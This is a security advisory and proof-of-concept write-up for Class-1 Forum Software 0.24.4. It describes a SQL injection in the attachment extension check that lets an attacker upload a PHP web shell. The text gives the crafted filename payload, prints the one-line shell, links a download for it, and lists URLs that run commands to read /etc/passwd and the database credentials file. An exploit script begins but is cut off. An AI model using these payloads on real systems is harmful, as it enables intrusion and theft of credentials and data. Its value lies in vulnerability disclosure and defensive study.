class-1 Forum Software v 0.24.4 Remote code execution

software:

description: 

class-1 Forum Software is a PHP/MySQL driven web forum. It is written and 
distributed

freely-distributed

vulnerability: the way the forum check attachment extensions...
look at the vulnerable code at 256-272 lines:

...
   // Get File Type
   $tokens = explode(".", $upload_filename);
   $image = 0;
[!]   $extension = $tokens[count($tokens) - 1];

   // Get File Size
   $filesize = $_FILES['filename']['size'];
   // Make sure file doesn't already exist
   if (file_exists("$upload_folder/$upload_filename")) {
   echo "<tr><td class=\"otherfields\" colspan=\"2\">The attachment already 
exists in the upload folder.</td></tr>";
   $upload_file = 0;
   $upload_filename = "";
   } 
    // Check filesize quota
[!] $result = forum_exec_query("SELECT * FROM $extensions_table WHERE 
extension='$extension' AND file_type='Image'", $link);
    if (mysql_num_rows($result)) $image = 1;
...


nothing seems so strange, but... what happen if you try to upload a file
with this name? :

shell.php.' or 'a' ='a

;)

[1] SQL INJECTION!

The query and other queries like this become:

SELECT * FROM [extensions table name] WHERE extension='' or 'a' ='a' AND 
file_type='Image'

you have bypassed the check... now an executable file is uploaded, because for 
Apache, both
on Windows and Linux a file with that name is an executable php file...

you can download a poc file from my site, at url:

http://rgod.altervista.org/shell.zip

inside we have:

<?php error_reporting(0); system($HTTP_GET_VARS[command]); ?>

you can do test manually, unzip the file, register, login, post this file as 
attachment, then
go to this url to see the directory where the attachment has been uploaded:

http://[target]/[path]/viewattach.php

you will be redirected to:

http://[target]/[path]/[upload_dir]/

then launch commands:

http://[target]/[path]/[upload_dir]/shell.php.'%20or%20'a'%20='a?command=cat%20/etc/passwd

to see /etc/passwd file

http://[target]/[path]/[upload_dir]/shell.php.'%20or%20'a'%20='a?command=cat%20./../db_config.inc

to see database username and password
and so on...


This is my proof of concept exploit:

<?php

# 6.44 08/09/2005
#
# Class-1 Forum sql injection / remote code execution poc exploit
#
# coded by rgod -> http://rgod.altervista.org
#
# make these changes in php.ini if you have troubles
# with this script:
#
# allow_call_time_pass_reference = on
# register_globals = on
#
# this is my piece of poetry...

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
